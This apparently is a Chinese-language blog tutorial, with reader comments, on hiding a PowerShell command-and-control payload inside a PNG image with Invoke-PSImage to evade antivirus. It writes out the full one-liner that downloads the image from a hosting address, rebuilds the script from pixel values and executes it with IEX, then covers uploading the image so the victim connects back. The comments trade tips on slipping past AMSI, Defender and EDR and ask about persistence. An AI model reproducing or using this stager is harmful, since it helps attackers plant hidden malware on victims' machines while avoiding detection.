powershell的payload免杀
一、首先创建一个监听器

二、生成一个ps的payload




查看一下生成的

三、Ps的payload嵌入图片并且生成一段执行免杀代码
1.介绍
将生成的ps代码集成到一个图片中,图片尽量像素大一点,我们需要用到invoke-psimage脚本,原理是将脚本中的字节数据存储到图片中,而图片的每一个像素都会存一个字节,所以图片像素尽量大一点。
Invoker-psimage
Invokerpsimage会将一个powershell脚本以字节方式嵌入到png图片的像素中,并生成一行执行命令来帮助我们从文件或web执行它们。它会利用图片中每个像素点最后4位有效位的2个颜色值来存储
payload数据,图片质量会稍微有些影响,但基本着不出来什么区别。图片需要为png格式,因为payload数据存储在颜色值中,所以这种格式尚政进行尤损压缩直不会影响payload执行。它可以接受大多数图片类型作为输入,但输出必须为png格式,因为输出图像数据需要是无损的。
https://github.com/peewpw/Invoke-PSImage
注意:图片大小一定是:1920x1111(我这个只是参考,大于这个更好)
建议用ps软件去改大小,wps需要开会员,这就qt的吧

需要用github上的脚本进行生成
-script:指定刚才下载的脚本
-image: 指定图片
-out:输出的位置
-web:需要执行的命令
2.将payload嵌入图片
首先在当前目录下打开cmd绕过策略:

进行嵌入
A、首先导入脚本
Import-Module ./Invoke-PSImage.ps1
B、其次在进行生成命令
Invoke-PSImage -Script ./payload.ps1 -Image ./chaosec.jpg -Out test2.png -Web
C、生成的命令:(不过这里需要修改url的地址)
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.0.177:80/chaosec/test2.png"));$o=a Byte[] 3992;(0..7)|%{foreach($x in(0..498)){$p=$g.GetPixel($x,$_);$o[$_*499+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))

红框中的url需要修改
查看生成的图片

四、通过host file进行上传到服务器端

文件选择刚才生成的test2.png文件

文件选择刚才生成的test2.png文件

将这个生成的链接放到刚才生成需要修改的url中

在服务器端查看上传的文件
发现上传成功

五、执行命令使其上线


重庆市 1F
这方法真能绕过杀软?试了下火绒还是报了🤔
澳大利亚 2F
图片像素要求这么死,1920×1111有点难搞啊
韩国 3F
前几天刚用invoke-psimage搞免杀,png一压缩就废了,得注意无损
北京市 4F
感觉还行,不过现在EDR对ps脚本监控挺严的
北京市 5F
有人试过在Win10最新版跑这个payload吗?会不会被AMSI拦?
江西省九江市 6F
又是CS教程,能不能讲点新花样…看腻了
印度 B1
@ 射手晨曦 新花样?先教教怎么绕过AMSITracing再说hhh
湖北省武汉市 7F
sal a New-Object这写法老掉牙了,现在都混淆成啥样了hhh
北京市 B1
@ 行李箱的轮子 现在谁还用sal a New-Object,直接反射加载不香?
重庆市 8F
建议别用wps改图,导出压缩太狠,直接PS或者GIMP吧
美国 9F
要是目标机没装.NET咋办?这方法依赖System.Drawing啊
新加坡 10F
免杀一时爽,上线火葬场…上次连上就被蓝队溯源了666
上海市 B1
@ 孤独星辰 试了下火绒没报,但Defender秒删,玄学…
日本 11F
这方法在Win11上跑得起来吗?AMSI现在挺狠的
河南省郑州市 12F
图片一压缩就挂,我上次用手机传完直接失效了
韩国 13F
老哥别光说免杀,上线后怎么持久化啊?
重庆市 14F
invoke-psimage早被主流EDR盯死了吧,实测卡巴都拦
北京市 15F
github链接挂了,能补一下吗?
宁夏银川市 B1
@ 沉稳的山岳 链接我更新了,你再试试看。
浙江省宁波市 16F
1920×1111这个尺寸有啥讲究吗
宁夏银川市 B1
@ 苍岚 尺寸大点能存更多代码,太小了可能不够用
湖南省长沙市 17F
这方法现在还行得通吗?
北京市 B1
@ 梦魇兽 现在好多杀软都盯着了,有点难
台湾省 18F
GIMP改图确实稳,wps导出直接糊成马赛克
上海市 19F
像素大小这个点挺关键的,之前没注意
浙江省 B1
@ 正义巨像 我也踩过这个坑
印度尼西亚 20F
1920×1111这尺寸真够具体的,记下了
宁夏银川市 B1
@ 威震四海 图片得够大才能藏下代码,这个尺寸是经验值。